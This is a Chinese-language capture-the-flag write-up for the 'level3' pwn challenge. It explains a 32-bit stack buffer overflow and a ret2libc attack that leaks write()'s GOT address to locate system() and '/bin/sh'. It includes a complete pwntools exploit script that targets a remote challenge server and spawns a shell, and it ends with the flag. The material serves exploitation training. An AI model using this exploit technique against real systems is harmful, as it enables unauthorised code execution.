【攻防世界】level3
收获
- 当 elf文件中没有给出system()函数和字符串"/bin/sh"的地址时,如果给出了一个库文件libc,可以通过库文件来确定基地址,然后根据基地址反向推出elf文件中的system()函数以及"/bin/sh"的地址
思路
得到一个可执行文件和一个 32 位库文件:
查看文件信息:
32 位 小端序,只开启了栈不可执行
尝试运行:
在 IDA 中分析:
进入漏洞函数 vulnerable_function():
查看 buf 所在位置:
buf 在栈中的长度为 0x88,但可以通过 read() 输入的长度为 0x100,存在溢出点
查看字符串:
本题没有 "/bin/sh",也无法向段中写入数据
在 IDA 中查看函数:
发现本题没有给出 system() 函数
但是由于本题给出了一个 32 位 库文件,结合题目给出的提示,通过该 libc 库文件入手
同时,根据题目,程序中没有现成的 system() 函数,这就需要我们从 libc 中动态加载 system() 函数
由于 PIE 没有开启,也就是说程序地址不是随机化的,那么在 libc 中函数的偏移地址就是固定的,只要确定了 libc 的基地址,然后计算出 system() 函数的偏移地址,就可以定位到 system() 函数的真实地址,实现调用
libc 中的函数的相对地址是固定的,要想获取到 system() 函数的地址,可以通过 write() 函数进行 offset 计算:
- 首先利用 write()函数计算出write()函数的真实地址
- 利用相对 offset计算出system()函数和"/bin/sh"的真实地址
先使用 write() 泄露 got 表中的地址,计算出 libc 的基地址,调用完成之后返回到 vulnerable_function(),计算出 system() 函数和 "/bin/sh" 在内存中的地址,然后再进行一次栈溢出调用 system("/bin/sh") 即可
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口
# elf
elf = ELF("./level3/level3")  # 生成elf对象
elf_main_addr = elf.symbols["main"]  # 获取elf文件中main函数的地址
elf_write_plt_addr = elf.plt["write"]  # 获取elf文件中write函数在PLT表中的地址
elf_write_got_addr = elf.got["write"]  # 获取elf文件中write函数在GOT表中的地址
# libc
libc = ELF("./level3/libc_32.so.6")  # 生成libc对象
libc_write_addr = libc.symbols["write"]  # 获取libc库中的write函数的地址
libc_system_addr = libc.symbols["system"]  # 获取libc库中的system函数的地址
lib_bin_sh_addr = next(libc.search(b'/bin/sh'))  # 在libc库中搜索"/bin/sh"字符串的地址
def main():
    if content == 1:
        io = process("./level3/level3")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 63027)  # 题目的远程端口,注意是remote
    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(elf_write_plt_addr) + p32(elf_main_addr)
    payload += p32(1) + p32(elf_write_got_addr) + p32(4)
    io.recvuntil("Input:\n")
    io.sendline(payload)
    write_addr = u32(io.recv()[:4])  # 接收数据: write函数在elf文件中的地址
    print("write_addr: ", hex(write_addr))  # 将此地址打印出来(每次执行结果不一样)
    base_addr = write_addr - libc_write_addr  # 根据elf文件中的write_addr计算得到基地址
    system_addr = base_addr + libc_system_addr  # 根据基地址base_addr计算得到elf文件中system函数地址
    bin_sh_addr = base_addr + lib_bin_sh_addr  # 根据基地址base_addr计算得到elf文件中"/bin/sh"的地址
    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_addr)  # 得到了函数在elf文件中的真实地址后,按照以往的正常调用方式来写即可
    payload = payload + b'aaaa' + p32(bin_sh_addr)  # 填充4个垃圾字符平衡栈,使"/bin/sh"作为system函数的参数
    io.recvuntil("Input:\n")
    io.sendline(payload)
    io.interactive()
main()结果
cyberpeace{ee17c7e9631b2894da88efa5205b4a8c}
 评论



















